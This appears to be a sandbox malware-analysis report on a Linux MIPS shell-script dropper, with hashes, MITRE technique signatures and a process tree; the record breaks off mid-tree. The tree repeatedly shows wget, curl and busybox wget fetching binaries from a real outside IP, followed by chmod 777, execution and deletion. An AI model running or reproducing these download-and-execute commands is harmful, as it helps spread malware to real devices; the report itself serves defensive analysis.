f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a

Analysis

max time kernel
136s
max time network
140s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
14/11/2024, 03:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a.sh
Size 10KB
Sample241114-dtx28stjaw
SHA256 f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a
MD5 4d8dd4a8b1db9186eae56e9b0ff11ad0
SHA1 af46bc5a0cd6e60217f4651bd819b1924ed9173e
SHA512 5833974b1ca6d6d6d629e222e09ccab0ce960a760b8fc99bb37e39d32d9c4066d37eae6ff7947730d9574e23daaa810f45f2d16fb04f89b58fd61adda21b80ee
SSDEEP 96:g15LyKqnwI3wywLiqVlrLJ45+NwUspZYwl19wpPnEAlrLJ45+nxwUspZuwl19GA3:FKVlrLJi+n/pP9rLJi+R+
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
896	chmod
902	chmod
926	chmod
777	chmod
807	chmod
840	chmod
872	chmod
878	chmod
754	chmod
884	chmod
974	chmod
944	chmod
950	chmod
956	chmod
968	chmod
818	chmod
890	chmod
914	chmod
920	chmod
908	chmod
932	chmod
962	chmod
980	chmod
739	chmod
746	chmod
824	chmod
863	chmod
938	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0	curl
File opened for modification	/tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2	curl
File opened for modification	/tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu	curl
File opened for modification	/tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr	curl
File opened for modification	/tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP	curl
File opened for modification	/tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p	curl
File opened for modification	/tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu	curl
File opened for modification	/tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY	curl
File opened for modification	/tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p	curl
File opened for modification	/tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4	curl
File opened for modification	/tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp	curl
File opened for modification	/tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY	curl
File opened for modification	/tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4	curl
File opened for modification	/tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP	curl
File opened for modification	/tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI	curl
File opened for modification	/tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B	curl
File opened for modification	/tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp	curl
File opened for modification	/tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B	curl
File opened for modification	/tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr	curl
File opened for modification	/tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4	curl
File opened for modification	/tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0	curl
File opened for modification	/tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2	curl
File opened for modification	/tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI	curl
File opened for modification	/tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2	curl
File opened for modification	/tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY	curl
File opened for modification	/tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4	curl
File opened for modification	/tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2	curl
File opened for modification	/tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY	curl

/tmp/f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a.sh
/tmp/f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  PID:737
- /bin/chmod
  chmod 777 rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  ./rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  PID:745
- /bin/chmod
  chmod 777 qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  ./qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  PID:751
- /bin/chmod
  chmod 777 jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  ./jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm jMz018FmqirIthXno2QOE7F6cNd83CvXXY
  2⤵
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  PID:773
- /bin/chmod
  chmod 777 iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  ./iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
  2⤵
  PID:782
- /usr/bin/wget
  wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  PID:803
- /bin/chmod
  chmod 777 cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  ./cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  PID:812
- /usr/bin/wget
  wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  PID:817
- /bin/chmod
  chmod 777 IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  ./IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  PID:823
- /bin/chmod
  chmod 777 Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  ./Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  PID:836
- /bin/chmod
  chmod 777 Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  ./Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  PID:844
- /usr/bin/wget
  wget http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  PID:859
- /bin/chmod
  chmod 777 ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  ./ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  PID:867
- /usr/bin/wget
  wget http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  PID:871
- /bin/chmod
  chmod 777 FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  ./FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  PID:877
- /bin/chmod
  chmod 777 DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  ./DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  PID:883
- /bin/chmod
  chmod 777 BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  ./BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  PID:886
- /usr/bin/wget
  wget http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  PID:889
- /bin/chmod
  chmod 777 s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  ./s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  PID:895
- /bin/chmod
  chmod 777 f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  ./f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  PID:901
- /bin/chmod
  chmod 777 cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  ./cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  PID:907
- /bin/chmod
  chmod 777 IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  ./IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  PID:913
- /bin/chmod
  chmod 777 Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  ./Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  PID:919
- /bin/chmod
  chmod 777 Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  ./Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
  2⤵
  PID:922
- /usr/bin/wget
  wget http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  PID:925
- /bin/chmod
  chmod 777 ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  ./ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  PID:931
- /bin/chmod
  chmod 777 FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  ./FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  PID:937
- /bin/chmod
  chmod 777 DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  ./DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  PID:943
- /bin/chmod
  chmod 777 BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  ./BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
  2⤵
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  PID:949
- /bin/chmod
  chmod 777 s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  ./s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  PID:955
- /bin/chmod
  chmod 777 f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  ./f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
  2⤵
